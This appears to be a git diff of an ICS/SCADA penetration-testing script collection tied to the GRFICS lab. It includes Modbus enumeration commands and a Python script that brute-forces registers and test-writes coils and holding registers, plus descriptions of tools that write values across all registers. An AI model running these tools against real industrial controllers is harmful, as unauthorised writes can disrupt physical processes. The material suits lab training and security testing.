+397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) 